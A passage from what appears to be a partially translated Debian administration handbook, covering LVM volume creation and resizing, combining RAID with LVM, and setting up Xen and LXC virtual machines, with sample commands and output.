Let's first describe the -l option, with which the LV's size can be given as a number of blocks (as opposed to the “human” units we used above). These blocks (called PEs, physical extents, in LVM terms) are contiguous units of storage space in PVs, and they can't be split across LVs. When one wants to define storage space for an LV with some precision, for instance to use the full available space, the -l option will probably be preferred over -L.

It is also possible to hint at the physical location of an LV, so that its extents are stored on a particular PV (while staying within the ones assigned to the VG, of course). Since we know that sdb is faster than sdf, we may want to store the lv_base there if we want to give an advantage to the database server compared to the file server. The command line becomes: lvcreate -n lv_base -L 1G vg_critical /dev/sdb2. Note that this command can fail if the PV doesn't have enough free extents. In our example, we would probably have to create lv_base before lv_files to avoid this situation – or free up some space on sdb2 with the pvmove command.

Logical volumes, once created, end up as block device files in /dev/mapper/:

# ls -l /dev/mapper

total 0

crw------- 1 root root 10, 236 Mar  1 00:17 control

lrwxrwxrwx 1 root root       7 Mar  1 00:19 vg_critical-lv_base -> ../dm-1

lrwxrwxrwx 1 root root       7 Mar  1 00:17 vg_critical-lv_files -> ../dm-0

lrwxrwxrwx 1 root root       7 Mar  1 00:19 vg_normal-lv_backups -> ../dm-2

# ls -l /dev/dm-*

brw-rw---- 1 root disk 253, 0 Mar  1 00:17 /dev/dm-0

brw-rw---- 1 root disk 253, 1 Mar  1 00:19 /dev/dm-1

brw-rw---- 1 root disk 253, 2 Mar  1 00:19 /dev/dm-2

NOTE Auto-detecting LVM volumes

When the computer boots, the lvm2-activation systemd service unit executes vgchange -aay to “activate” the volume groups: it scans the available devices; those that have been initialized as physical volumes for LVM are registered into the LVM subsystem, those that belong to volume groups are assembled, and the relevant logical volumes are started and made available. There is therefore no need to edit configuration files when creating or modifying LVM volumes.

Note, however, that the layout of the LVM elements (physical and logical volumes, and volume groups) is backed up in /etc/lvm/backup, which can be useful in case of a problem (or just to sneak a peek under the hood).

To make things easier, convenience symbolic links are also created in directories matching the VGs:

# ls -l /dev/vg_critical

total 0

lrwxrwxrwx 1 root root 7 Mar  1 00:19 lv_base -> ../dm-1

lrwxrwxrwx 1 root root 7 Mar  1 00:17 lv_files -> ../dm-0

# ls -l /dev/vg_normal

total 0

lrwxrwxrwx 1 root root 7 Mar  1 00:19 lv_backups -> ../dm-2

The LVs can then be used exactly like standard partitions:

# mkfs.ext4 /dev/vg_normal/lv_backups

mke2fs 1.46.2 (28-Feb-2021)

Discarding device blocks: done

Creating filesystem with 3140608 4k blocks and 786432 inodes

Filesystem UUID: 7eaf0340-b740-421e-96b2-942cdbf29cb3

Superblock backups stored on blocks:

32768, 98304, 163840, 229376, 294912, 819200, 884736, 1605632, 2654208

Allocating group tables: done

Writing inode tables: done

Creating journal (16384 blocks): done

Writing superblocks and filesystem accounting information: done

# mkdir /srv/backups

# mount /dev/vg_normal/lv_backups /srv/backups

# df -h /srv/backups

Filesystem                        Size  Used Avail Use% Mounted on

/dev/mapper/vg_normal-lv_backups   12G   24K   12G   1% /srv/backups

# [...]

[...]

# cat /etc/fstab

[...]

/dev/vg_critical/lv_base    /srv/base       ext4 defaults 0 2

/dev/vg_critical/lv_files   /srv/files      ext4 defaults 0 2

/dev/vg_normal/lv_backups   /srv/backups    ext4 defaults 0 2

From the applications' point of view, the myriad small partitions have now been abstracted into one large 12 GB volume, with a friendlier name.

12.1.2.3. LVM Over Time

Even though the ability to aggregate partitions or physical disks is convenient, this is not the main advantage brought by LVM. The flexibility it brings is especially noticed as time passes, when needs evolve. In our example, let's assume that new large files must be stored, and that the LV dedicated to the file server is too small to contain them. Since we haven't used the whole space available in vg_critical, we can grow lv_files. For that purpose, we'll use the lvresize command, then resize2fs to adapt the filesystem accordingly:

# df -h /srv/files/

Filesystem                        Size  Used Avail Use% Mounted on

/dev/mapper/vg_critical-lv_files  4.9G  4.2G  485M  90% /srv/files

# lvdisplay -C vg_critical/lv_files

LV       VG          Attr       LSize Pool Origin Data%  Meta%  Move Log Cpy%Sync Convert

lv_files vg_critical -wi-ao---- 5.00g

# vgdisplay -C vg_critical

VG          #PV #LV #SN Attr   VSize VFree

vg_critical   2   2   0 wz--n- 7.99g 1.99g

# lvresize -L 6G vg_critical/lv_files

Size of logical volume vg_critical/lv_files changed from 5.00 GiB (1280 extents) to 6.00 GiB (1536 extents).

Logical volume vg_critical/lv_files successfully resized.

# lvdisplay -C vg_critical/lv_files

LV       VG          Attr       LSize Pool Origin Data%  Meta%  Move Log Cpy%Sync Convert

lv_files vg_critical -wi-ao---- 6.00g

# resize2fs /dev/vg_critical/lv_files

resize2fs 1.46.2 (28-Feb-2021)

Filesystem at /dev/vg_critical/lv_files is mounted on /srv/files; on-line resizing required

old_desc_blocks = 1, new_desc_blocks = 1

The filesystem on /dev/vg_critical/lv_files is now 1572864 (4k) blocks long.

# df -h /srv/files/

Filesystem                        Size  Used Avail Use% Mounted on

/dev/mapper/vg_critical-lv_files  5.9G  4.2G  1.5G  75% /srv/files

CAUTION Resizing filesystems

Not all filesystems can be resized online; resizing a volume can therefore require unmounting the filesystem first and remounting it afterwards. Of course, if one wants to shrink the space allocated to an LV, the filesystem must be shrunk first; the order is reversed when the resizing goes in the other direction: the logical volume must be grown before the filesystem on it. It is rather straightforward, since at no time must the filesystem size be larger than the block device where it resides (whether that device is a physical partition or a logical volume).

The ext3, ext4 and xfs filesystems can be grown online, without unmounting; shrinking requires an unmount. The reiserfs filesystem allows online resizing in both directions. The venerable ext2 allows neither, and always requires unmounting.

We could proceed in a similar fashion to extend the volume hosting the database, only we've reached the VG's available space limit:

# df -h /srv/base/

Filesystem                       Size  Used Avail Use% Mounted on

/dev/mapper/vg_critical-lv_base  974M  883M   25M  98% /srv/base

# vgdisplay -C vg_critical

VG          #PV #LV #SN Attr   VSize VFree

vg_critical   2   2   0 wz--n- 7.99g 1016.00m

No matter, since LVM allows adding physical volumes to existing volume groups. For instance, maybe we've noticed that the sdb3 partition, which was so far used outside of LVM, only contained archives that could be moved to lv_backups. We can now recycle it and integrate it to the volume group, and thereby reclaim some available space. This is the purpose of the vgextend command. Of course, the partition must be prepared as a physical volume beforehand. Once the VG has been extended, we can use similar commands as previously to grow the logical volume then the filesystem:

# pvcreate /dev/sdb3

Physical volume "/dev/sdb3" successfully created.

# vgextend vg_critical /dev/sdb3

Volume group "vg_critical" successfully extended

# vgdisplay -C vg_critical

VG          #PV #LV #SN Attr   VSize   VFree

vg_critical   3   2   0 wz--n- <12.99g <5.99g

# lvresize -L 2G vg_critical/lv_base

[...]

# resize2fs /dev/vg_critical/lv_base

[...]

# df -h /srv/base/

Filesystem                       Size  Used Avail Use% Mounted on

/dev/mapper/vg_critical-lv_base  2.0G  886M  991M  48% /srv/base

GOING FURTHER Advanced LVM

LVM also caters for more advanced uses, where many details can be specified by hand. For instance, an administrator can tweak the size of the blocks that make up physical and logical volumes, as well as their physical layout. It is also possible to move blocks across PVs, for instance, to fine-tune performance or, in a more mundane way, to free a PV when one needs to extract the corresponding physical disk from the VG (whether to affect it to another VG or to remove it from LVM altogether). The manual pages describing the commands are generally clear and detailed. A good entry point is the lvm(8) manual page.

12.1.3. RAID or LVM?

RAID and LVM both bring indisputable advantages as soon as one leaves the simple case of a desktop computer with a single hard disk where the usage pattern doesn't change over time. However, RAID and LVM go in two different directions, with diverging goals, and it is legitimate to wonder which one should be adopted. The most appropriate answer will of course depend on current and foreseeable requirements.

There are a few simple cases where the question doesn't really arise. If the requirement is to safeguard data against hardware failures, then obviously RAID will be set up on a redundant array of disks, since LVM doesn't really address this problem. If, on the other hand, the need is for a flexible storage scheme where the volumes are made independent of the physical layout of the disks, RAID doesn't help much and LVM will be the natural choice.

NOTE If performance matters…

If input/output speed is of the essence, especially in terms of access times, using LVM and/or RAID in one of the many combinations may have some impact on performances, and this may influence decisions as to which to pick. However, these differences in performance are really minor, and will only be measurable in a few use cases. If performance matters, the best gain to be obtained would be to use non-rotating storage media (solid-state drives or SSDs); their cost per megabyte is higher than that of standard hard disk drives, and their capacity is usually smaller, but they provide excellent performance for random accesses. If the usage pattern includes many input/output operations scattered all around the filesystem, for instance for databases where complex queries are routinely being run, then the advantage of running them on an SSD far outweigh whatever could be gained by picking LVM over RAID or the reverse. In these situations, the choice should be determined by other considerations than pure speed, since the performance aspect is most easily handled by using SSDs.

The third notable use case is when one just wants to aggregate two disks into one volume, either for performance reasons or to have a single filesystem that is larger than any of the available disks. This case can be addressed both by a RAID-0 (or even linear-RAID) and by an LVM volume. When in this situation, and barring extra constraints (for instance, keeping in line with the rest of the computers if they only use RAID), the configuration of choice will often be LVM. The initial set up is barely more complex, and that slight increase in complexity more than makes up for the extra flexibility that LVM brings if the requirements change or if new disks need to be added.

Then of course, there is the really interesting use case, where the storage system needs to be made both resistant to hardware failure and flexible when it comes to volume allocation. Neither RAID nor LVM can address both requirements on their own; no matter, this is where we use both at the same time — or rather, one on top of the other. The scheme that has all but become a standard since RAID and LVM have reached maturity is to ensure data redundancy first by grouping disks in a small number of large RAID arrays, and to use these RAID arrays as LVM physical volumes; logical partitions will then be carved from these LVs for filesystems. The selling point of this setup is that when a disk fails, only a small number of RAID arrays will need to be reconstructed, thereby limiting the time spent by the administrator for recovery.

Let's take a concrete example: the public relations department at Falcot Corp needs a workstation for video editing, but the department's budget doesn't allow investing in high-end hardware from the bottom up. A decision is made to favor the hardware that is specific to the graphic nature of the work (monitor and video card), and to stay with generic hardware for storage. However, as is widely known, digital video does have some particular requirements for its storage: the amount of data to store is large, and the throughput rate for reading and writing this data is important for the overall system performance (more than typical access time, for instance). These constraints need to be fulfilled with generic hardware, in this case two 300 GB SATA hard disk drives; the system data must also be made resistant to hardware failure, as well as some of the user data. Edited video clips must indeed be safe, but video rushes pending editing are less critical, since they're still on the videotapes.

RAID-1 and LVM are combined to satisfy these constraints. The disks are attached to two different SATA controllers to optimize parallel access and reduce the risk of a simultaneous failure, and they therefore appear as sda and sdc. They are partitioned identically along the following scheme:

# sfdisk -l /dev/sda

Disk /dev/sda: 894.25 GiB, 960197124096 bytes, 1875385008 sectors

Disk model: SAMSUNG MZ7LM960

Units: sectors of 1 * 512 = 512 bytes

Sector size (logical/physical): 512 bytes / 512 bytes

I/O size (minimum/optimal): 512 bytes / 512 bytes

Disklabel type: gpt

Disk identifier: BB14C130-9E9A-9A44-9462-6226349CA012

Device         Start        End   Sectors   Size Type

/dev/sda1        2048       4095      2048     1M BIOS boot

/dev/sda2        4096  100667391 100663296    48G Linux RAID

/dev/sda3   100667392  134221823  33554432    16G Linux RAID

/dev/sda4   134221824  763367423 629145600   300G Linux RAID

/dev/sda5   763367424 1392513023 629145600   300G Linux RAID

/dev/sda6  1392513024 1875384974 482871951 230.3G Linux LVM

- The first partitions of both disks are BIOS boot partitions.

- The next two partitions sda2 and sdc2 (about 48 GB) are assembled into a RAID-1 volume, md0. This mirror is directly used to store the root filesystem.

- The sda3 and sdc3 partitions are assembled into a RAID-0 volume, md1, and used as swap partition, providing a total 32 GB of swap space. Modern systems can provide plenty of RAM and our system won't need hibernation. So with this amount added, our system will unlikely run out of memory.

- The sda4 and sdc4 partitions, as well as sda5 and sdc5, are assembled into two new RAID-1 volumes of about 300 GB each, md2 and md3. Both these mirrors are initialized as physical volumes for LVM, and assigned to the vg_raid volume group. This VG thus contains about 600 GB of safe space.

- The remaining partitions, sda6 and sdc6, are directly used as physical volumes, and assigned to another VG called vg_bulk, which therefore ends up with roughly 460 GB of space.

Once the VGs are created, they can be partitioned in a very flexible way. One must keep in mind that LVs created in vg_raid will be preserved even if one of the disks fails, which will not be the case for LVs created in vg_bulk; on the other hand, the latter will be allocated in parallel on both disks, which allows higher read or write speeds for large files.

We will therefore create the lv_var and lv_home LVs on vg_raid, to host the matching filesystems; another large LV, lv_movies, will be used to host the definitive versions of movies after editing. The other VG will be split into a large lv_rushes, for data straight out of the digital video cameras, and a lv_tmp for temporary files. The location of the work area is a less straightforward choice to make: while good performance is needed for that volume, is it worth risking losing work if a disk fails during an editing session? Depending on the answer to that question, the relevant LV will be created on one VG or the other.

We now have both some redundancy for important data and much flexibility in how the available space is split across the applications.

NOTE Why three RAID-1 volumes?

We could have set up one RAID-1 volume only, to serve as a physical volume for vg_raid. Why create three of them, then?

The rationale for the first split (md0 vs. the others) is about data safety: data written to both elements of a RAID-1 mirror are exactly the same, and it is therefore possible to bypass the RAID layer and mount one of the disks directly. In case of a kernel bug, for instance, or if the LVM metadata become corrupted, it is still possible to boot a minimal system to access critical data such as the layout of disks in the RAID and LVM volumes; the metadata can then be reconstructed and the files can be accessed again, so that the system can be brought back to its nominal state.

The rationale for the second split (md2 vs. md3) is less clear-cut, and more related to acknowledging that the future is uncertain. When the workstation is first assembled, the exact storage requirements are not necessarily known with perfect precision; they can also evolve over time. In our case, we can't know in advance the actual storage space requirements for video rushes and complete video clips. If one particular clip needs a very large amount of rushes, and the VG dedicated to redundant data is less than halfway full, we can re-use some of its unneeded space. We can remove one of the physical volumes, say md3, from vg_raid and either assign it to vg_bulk directly (if the expected duration of the operation is short enough that we can live with the temporary drop in performance), or undo the RAID setup on md3 and integrate its components sda5 and sdc5 into the bulk VG (which grows by 600 GB instead of 300 GB); the lv_rushes logical volume can then be grown according to requirements.

12.2. 虛擬化

Virtualization is one of the most major advances in the recent years of computing. The term covers various abstractions and techniques simulating virtual computers with a variable degree of independence on the actual hardware. One physical server can then host several systems working at the same time and in isolation. Applications are many, and often derive from this isolation: test environments with varying configurations for instance, or separation of hosted services across different virtual machines for security.

There are multiple virtualization solutions, each with its own pros and cons. This book will focus on Xen, LXC, and KVM, but other noteworthy implementations include the following:

- QEMU is a software emulator for a full computer; performances are far from the speed one could achieve running natively, but this allows running unmodified or experimental operating systems on the emulated hardware. It also allows emulating a different hardware architecture: for instance, an amd64 system can emulate an arm computer. QEMU is free software.
→ https://qemu.org/

- Bochs is another free virtual machine, but it only emulates the x86 architectures (i386 and amd64).

- VMWare is a proprietary virtual machine; being one of the oldest out there, it is also one of the most widely-known. It works on principles similar to QEMU. VMWare proposes advanced features such as “snapshotting“ a running virtual machine.
→ https://vmware.com/

- VirtualBox is a virtual machine that is mostly free software (some extra components are available under a proprietary license). Unfortunately it is in Debian's “contrib” section because it includes some precompiled files that cannot be rebuilt without a proprietary compiler and it currently only resides in Debian Unstable as Oracle's policies make it impossible to keep it secure in a Debian stable release (see #794466). While younger than VMWare and restricted to the i386 and amd64 architectures, it still includes some “snapshotting“ and other interesting features.
→ https://www.virtualbox.org/

HARDWARE Virtualization support

Some computers might not have hardware virtualization support; when they do, it should be enabled in the BIOS.

To know if you have virtualization support enabled, you can check if the relevant flag is enabled with grep. If the following command for your processor returns some text, you already have virtualization support enabled:

- For Intel processors you can execute grep vmx /proc/cpuinfo to check for Intel's Virtual Machine Extensions.

- For AMD processors you can execute grep svm /proc/cpuinfo to check for AMD's Secure Virtual Machine.

If that is not the case, you can access the BIOS of your system and check for entries like “Intel Virtualization Technology”/“Intel VT-x” or “SVM mode” (AMD) - usually to be found in the CPU configuration in the Advanced section.

12.2.1. Xen

Xen is a “paravirtualization” solution. It introduces a thin abstraction layer, called a “hypervisor”, between the hardware and the upper systems; this acts as a referee that controls access to hardware from the virtual machines. However, it only handles a few of the instructions, the rest is directly executed by the hardware on behalf of the systems. The main advantage is that performances are not degraded, and systems run close to native speed; the drawback is that the kernels of the operating systems one wishes to use on a Xen hypervisor need to be adapted to run on Xen.

Let's spend some time on terms. The hypervisor is the lowest layer, which runs directly on the hardware, even below the kernel. This hypervisor can split the rest of the software across several domains, which can be seen as so many virtual machines. One of these domains (the first one that gets started) is known as dom0, and has a special role, since only this domain can control the hypervisor and the execution of other domains. These other domains are known as domU. In other words, and from a user point of view, the dom0 matches the “host” of other virtualization systems, while a domU can be seen as a “guest”.

文化 Xen 和各種版本的 Linux

Xen was initially developed as a set of patches that lived out of the official tree, and not integrated to the Linux kernel. At the same time, several upcoming virtualization systems (including KVM) required some generic virtualization-related functions to facilitate their integration, and the Linux kernel gained this set of functions (known as the paravirt_ops or pv_ops interface). Since the Xen patches were duplicating some of the functionality of this interface, they couldn't be accepted officially.

Xensource, the company behind Xen, therefore had to port Xen to this new framework, so that the Xen patches could be merged into the official Linux kernel. That meant a lot of code rewrite, and although Xensource soon had a working version based on the paravirt_ops interface, the patches were only progressively merged into the official kernel. The merge was completed in Linux 3.0.

→ https://wiki.xenproject.org/wiki/XenParavirtOps

Since Jessie is based on version 3.16 of the Linux kernel, the standard linux-image-686-pae and linux-image-amd64 packages include the necessary code, and the distribution-specific patching that was required for Squeeze and earlier versions of Debian is no more.

→ https://wiki.xenproject.org/wiki/Xen_Kernel_Feature_Matrix

文化 Xen 和非 Linux 內核

Xen requires modifications to all the operating systems one wants to run on it; not all kernels have the same level of maturity in this regard. Many are fully-functional, both as dom0 and domU: Linux 3.0 and later, NetBSD 4.0 and later, and OpenSolaris. Others only work as a domU. You can check the status of each operating system in the Xen wiki:

→ https://wiki.xenproject.org/wiki/Dom0_Kernels_for_Xen

→ https://wiki.xenproject.org/wiki/DomU_Support_for_Xen

However, if Xen can rely on the hardware functions dedicated to virtualization (which are only present in more recent processors), even non-modified operating systems can run as domU (including Windows).

註釋 Xen 架構兼容性

Xen is currently only available for the i386, amd64, arm64 and armhf architectures.

在 Debian 下使用 Xen 需要三個組件：

- The hypervisor itself. According to the available hardware, the appropriate package providing xen-hypervisor will be either xen-hypervisor-4.14-amd64, xen-hypervisor-4.14-armhf, or xen-hypervisor-4.14-arm64.

- A kernel that runs on that hypervisor. Any kernel more recent than 3.0 will do, including the 5.10 version present in Bullseye.

- The i386 architecture also requires a standard library with the appropriate patches taking advantage of Xen; this is in the libc6-xen package.

The hypervisor also brings xen-utils-4.14, which contains tools to control the hypervisor from the dom0. This in turn brings the appropriate standard library. During the installation of all that, configuration scripts also create a new entry in the GRUB bootloader menu, so as to start the chosen kernel in a Xen dom0. Note, however, that this entry is not usually set to be the first one in the list, but it will be selected by default.

Once these prerequisites are installed, the next step is to test the behavior of the dom0 by itself; this involves a reboot to the hypervisor and the Xen kernel. The system should boot in its standard fashion, with a few extra messages on the console during the early initialization steps.

Now is the time to actually install useful systems on the domU systems, using the tools from xen-tools. This package provides the xen-create-image command, which largely automates the task. The only mandatory parameter is --hostname, giving a name to the domU; other options are important, but they can be stored in the /etc/xen-tools/xen-tools.conf configuration file, and their absence from the command line doesn't trigger an error. It is therefore important to either check the contents of this file before creating images, or to use extra parameters in the xen-create-image invocation. Important parameters of note include the following:

- --memory, to specify the amount of RAM dedicated to the newly created system;

- --size and --swap, to define the size of the “virtual disks” available to the domU;

- --debootstrap-cmd, to specify the which debootstrap command is used. The default is debootstrap if debootstrap and cdebootstrap are installed. In that case, the --dist option will also most often be used (with a distribution name such as bullseye).
GOING FURTHER Installing a non-Debian system in a domU

In case of a non-Linux system, care should be taken to define the kernel the domU must use, using the --kernel option.

- --dhcp states that the domU's network configuration should be obtained by DHCP while --ip allows defining a static IP address.

- Lastly, a storage method must be chosen for the images to be created (those that will be seen as hard disk drives from the domU). The simplest method, corresponding to the --dir option, is to create one file on the dom0 for each device the domU should be provided. For systems using LVM, the alternative is to use the --lvm option, followed by the name of a volume group; xen-create-image will then create a new logical volume inside that group, and this logical volume will be made available to the domU as a hard disk drive.
NOTE Storage in the domU

Entire hard disks can also be exported to the domU, as well as partitions, RAID arrays or pre-existing LVM logical volumes. These operations are not automated by xen-create-image, however, so editing the Xen image's configuration file is in order after its initial creation with xen-create-image.

Once these choices are made, we can create the image for our future Xen domU:

# xen-create-image --hostname testxen --dhcp --dir /srv/testxen --size=2G --dist=bullseye --role=udev

General Information

--------------------

Hostname       :  testxen

Distribution   :  bullseye

Mirror         :  http://deb.debian.org/debian

Partitions     :  swap            512M  (swap)

/               2G    (ext4)

Image type     :  sparse

Memory size    :  256M

Bootloader     :  pygrub

[...]

Logfile produced at:

/var/log/xen-tools/testxen.log

Installation Summary

---------------------

Hostname        :  testxen

Distribution    :  bullseye

MAC Address     :  00:16:3E:C2:07:EE

IP Address(es)  :  dynamic

SSH Fingerprint :  SHA256:K+0QjpGzZOacLZ3jX4gBwp0mCESt5ceN5HCJZSKWS1A (DSA)

SSH Fingerprint :  SHA256:9PnovvGRuTw6dUcEVzzPKTITO0+3Ki1Gs7wu4ke+4co (ECDSA)

SSH Fingerprint :  SHA256:X5z84raKBajUkWBQA6MVuanV1OcV2YIeD0NoCLLo90k (ED25519)

SSH Fingerprint :  SHA256:VXu6l4tsrCoRsXOqAwvgt57sMRj2qArEbOzHeydvV34 (RSA)

Root Password   :  FS7CUxsY3xkusv7EkbT9yae

We now have a virtual machine, but it is currently not running (and therefore only using space on the dom0's hard disk). Of course, we can create more images, possibly with different parameters.

Before turning these virtual machines on, we need to define how they'll be accessed. They can of course be considered as isolated machines, only accessed through their system console, but this rarely matches the usage pattern. Most of the time, a domU will be considered as a remote server, and accessed only through a network. However, it would be quite inconvenient to add a network card for each domU; which is why Xen allows creating virtual interfaces that each domain can see and use in a standard way. Note that these cards, even though they're virtual, will only be useful once connected to a network, even a virtual one. Xen has several network models for that:

- The simplest model is the bridge model; all the eth0 network cards (both in the dom0 and the domU systems) behave as if they were directly plugged into an Ethernet switch.

- Then comes the routing model, where the dom0 behaves as a router that stands between the domU systems and the (physical) external network.

- Finally, in the NAT model, the dom0 is again between the domU systems and the rest of the network, but the domU systems are not directly accessible from outside, and traffic goes through some network address translation on the dom0.

These three networking nodes involve a number of interfaces with unusual names, such as vif*, veth*, peth* and xenbr0. The Xen hypervisor arranges them in whichever layout has been defined, under the control of the user-space tools. Since the NAT and routing models are only adapted to particular cases, we will only address the bridging model.

The standard configuration of the Xen packages does not change the system-wide network configuration. However, the xend daemon is configured to integrate virtual network interfaces into any pre-existing network bridge (with xenbr0 taking precedence if several such bridges exist). We must therefore set up a bridge in /etc/network/interfaces (which requires installing the bridge-utils package, which is why the xen-utils package recommends it) to replace the existing eth0 entry (be careful to use the correct network device name):

auto xenbr0

iface xenbr0 inet dhcp

bridge_ports eth0

bridge_maxwait 0

After rebooting to make sure the bridge is automatically created, we can now start the domU with the Xen control tools, in particular the xl command. This command allows different manipulations on the domains, including listing them and, starting/stopping them. You might need to increase the default memory by editing the variable memory from configuration file (in this case, /etc/xen/testxen.cfg). Here we have set it to 1024 (megabytes).

# xl list

Name                                        ID   Mem VCPUs State Time(s)

Domain-0                                     0  3918     2     r-----      35.1

# xl create /etc/xen/testxen.cfg

Parsing config from /etc/xen/testxen.cfg

# xl list

Name                                        ID   Mem VCPUs State Time(s)

Domain-0                                     0  2757     2     r-----      45.2

testxen                                      3  1024     1     r-----       1.3

TOOL Choice of toolstacks to manage Xen VM

In Debian 7 and older releases, xm was the reference command line tool to use to manage Xen virtual machines. It has now been replaced by xl which is mostly backwards compatible. But those are not the only available tools: virsh of libvirt and xe of XenServer's XAPI (commercial offering of Xen) are alternative tools.

CAUTION Only one domU per image!

While it is of course possible to have several domU systems running in parallel, they will all need to use their own image, since each domU is made to believe it runs on its own hardware (apart from the small slice of the kernel that talks to the hypervisor). In particular, it isn't possible for two domU systems running simultaneously to share storage space. If the domU systems are not run at the same time, it is, however, quite possible to reuse a single swap partition, or the partition hosting the /home filesystem.

Note that the testxen domU uses real memory taken from the RAM that would otherwise be available to the dom0, not simulated memory. Care should therefore be taken, when building a server meant to host Xen instances, to provision the physical RAM accordingly.

Voilà! Our virtual machine is starting up. We can access it in one of two modes. The usual way is to connect to it “remotely” through the network, as we would connect to a real machine; this will usually require setting up either a DHCP server or some DNS configuration. The other way, which may be the only way if the network configuration was incorrect, is to use the hvc0 console, with the xl console command:

# xl console testxen

[...]

Debian GNU/Linux 11 testxen hvc0

testxen login:

One can then open a session, just like one would do if sitting at the virtual machine's keyboard. Detaching from this console is achieved through the Control+] key combination.

TIP Getting the console straight away

Sometimes one wishes to start a domU system and get to its console straight away; this is why the xl create command takes a -c switch. Starting a domU with this switch will display all the messages as the system boots.

TOOL Graphical Xen managers

OpenXenManager (in the openxenmanager package), a graphical interface allowing remote management of Xen domains via Xen's API, is no longer provided by Debian due to the lack of upstream development. If you are looking for a replacement, virt-manager provides support to handle Xen VMs as well.

Once the domU is up, it can be used just like any other server (since it is a GNU/Linux system after all). However, its virtual machine status allows some extra features. For instance, a domU can be temporarily paused then resumed, with the xl pause and xl unpause commands. Note that even though a paused domU does not use any processor power, its allocated memory is still in use. It may be interesting to consider the xl save and xl restore commands: saving a domU frees the resources that were previously used by this domU, including RAM. When restored (or unpaused, for that matter), a domU doesn't even notice anything beyond the passage of time. If a domU was running when the dom0 is shut down, the packaged scripts automatically save the domU, and restore it on the next boot. This will of course involve the standard inconvenience incurred when hibernating a laptop computer, for instance; in particular, if the domU is suspended for too long, network connections may expire. Note also that Xen is so far incompatible with a large part of ACPI power management, which precludes suspending the host (dom0) system.

Halting or rebooting a domU can be done either from within the domU (with the shutdown command) or from the dom0, with xl shutdown or xl reboot.

Most of the xl subcommands expect one or more arguments, often a domU name. These arguments are well described in the xl(1) manual page.

GOING FURTHER Advanced Xen

Xen has many more features than we can describe in these few paragraphs. In particular, the system is very dynamic, and many parameters for one domain (such as the amount of allocated memory, the visible hard drives, the behavior of the task scheduler, and so on) can be adjusted even when that domain is running. A domU can even be migrated across servers without being shut down, and without losing its network connections! For all these advanced aspects, the primary source of information is the official Xen documentation.

→ https://xenproject.org/help/documentation/

12.2.2. LXC

Even though it is used to build “virtual machines”, LXC is not, strictly speaking, a virtualization system, but a system to isolate groups of processes from each other even though they all run on the same host. It takes advantage of a set of recent evolutions in the Linux kernel, collectively known as control groups, by which different sets of processes called “groups” have different views of certain aspects of the overall system. Most notable among these aspects are the process identifiers, the network configuration, and the mount points. Such a group of isolated processes will not have any access to the other processes in the system, and its accesses to the filesystem can be restricted to a specific subset. It can also have its own network interface and routing table, and it may be configured to only see a subset of the available devices present on the system.

These features can be combined to isolate a whole process family starting from the init process, and the resulting set looks very much like a virtual machine. The official name for such a setup is a “container” (hence the LXC moniker: LinuX Containers), but a rather important difference with “real” virtual machines such as provided by Xen or KVM is that there is no second kernel; the container uses the very same kernel as the host system. This has both pros and cons: advantages include excellent performance due to the total lack of overhead, and the fact that the kernel has a global vision of all the processes running on the system, so the scheduling can be more efficient than it would be if two independent kernels were to schedule different task sets. Chief among the inconveniences is the impossibility to run a different kernel in a container (whether a different Linux version or a different operating system altogether).

NOTE LXC isolation limits

LXC containers do not provide the level of isolation achieved by heavier emulators or virtualizers. In particular:

- since the kernel is shared among the host system and the containers, processes constrained to containers can still access the kernel messages, which can lead to information leaks if messages are emitted by a container;

- for similar reasons, if a container is compromised and a kernel vulnerability is exploited, the other containers may be affected too;

- on the filesystem, the kernel checks permissions according to the numerical identifiers for users and groups; these identifiers may designate different users and groups depending on the container, which should be kept in mind if writable parts of the filesystem are shared among containers.

Since we are dealing with isolation and not plain virtualization, setting up LXC containers is more complex than just running debian-installer on a virtual machine. We will describe a few prerequisites, then go on to the network configuration; we will then be able to actually create the system to be run in the container.

12.2.2.1. Preliminary Steps

The lxc package contains the tools required to run LXC, and must therefore be installed.

LXC also requires the control groups configuration system, which is a virtual filesystem to be mounted on /sys/fs/cgroup. Since Debian 8 switched to systemd, which also relies on control groups, this is now done automatically at boot time without further configuration.

12.2.2.2. 網絡配置

The goal of installing LXC is to set up virtual machines; while we could, of course, keep them isolated from the network, and only communicate with them via the filesystem, most use cases involve giving at least minimal network access to the containers. In the typical case, each container will get a virtual network interface, connected to the real network through a bridge. This virtual interface can be plugged either directly onto the host's physical network interface (in which case the container is directly on the network), or onto another virtual interface defined on the host (and the host can then filter or route traffic). In both cases, the bridge-utils package will be required.

The simple case is just a matter of editing /etc/network/interfaces, moving the configuration for the physical interface (for instance, eth0 or enp1s0) to a bridge interface (usually br0), and configuring the link between them. For instance, if the network interface configuration file initially contains entries such as the following:

auto eth0

iface eth0 inet dhcp

They should be disabled and replaced with the following:

auto br0

iface br0 inet dhcp

bridge-ports eth0

The effect of this configuration will be similar to what would be obtained if the containers were machines plugged into the same physical network as the host. The “bridge” configuration manages the transit of Ethernet frames between all the bridged interfaces, which includes the physical eth0 as well as the interfaces defined for the containers.

In cases where this configuration cannot be used (for instance, if no public IP addresses can be assigned to the containers), a virtual tap interface will be created and connected to the bridge. The equivalent network topology then becomes that of a host with a second network card plugged into a separate switch, with the containers also plugged into that switch. The host must then act as a gateway for the containers if they are meant to communicate with the outside world.

In addition to bridge-utils, this “rich” configuration requires the vde2 package; the /etc/network/interfaces file then becomes:

# Interface eth0 is unchanged

auto eth0

iface eth0 inet dhcp

# Virtual interface

auto tap0

iface tap0 inet manual

vde2-switch -t tap0

# Bridge for containers

auto br0

iface br0 inet static

bridge-ports tap0

address 10.0.0.1

netmask 255.255.255.0

The network can then be set up either statically in the containers, or dynamically with DHCP server running on the host. Such a DHCP server will need to be configured to answer queries on the br0 interface.

12.2.2.3. 搭建系統

Let us now set up the filesystem to be used by the container. Since this “virtual machine” will not run directly on the hardware, some tweaks are required when compared to a standard filesystem, especially as far as the kernel, devices and consoles are concerned. Fortunately, the lxc package includes scripts that mostly automate this configuration. For instance, the following commands (which require the debootstrap and rsync packages) will install a Debian container:

# lxc-create -n testlxc -t debian

debootstrap is /usr/sbin/debootstrap

Checking cache download in /var/cache/lxc/debian/rootfs-stable-amd64 ...

Downloading debian minimal ...

I: Retrieving Release

I: Retrieving Release.gpg

[...]

Download complete.

Copying rootfs to /var/lib/lxc/testlxc/rootfs...

[...]

#

Note that the filesystem is initially created in /var/cache/lxc, then moved to its destination directory. This allows creating identical containers much more quickly, since only copying is then required.

Note that the Debian template creation script accepts an --arch option to specify the architecture of the system to be installed and a --release option if you want to install something else than the current stable release of Debian. You can also set the MIRROR environment variable to point to a local Debian mirror.

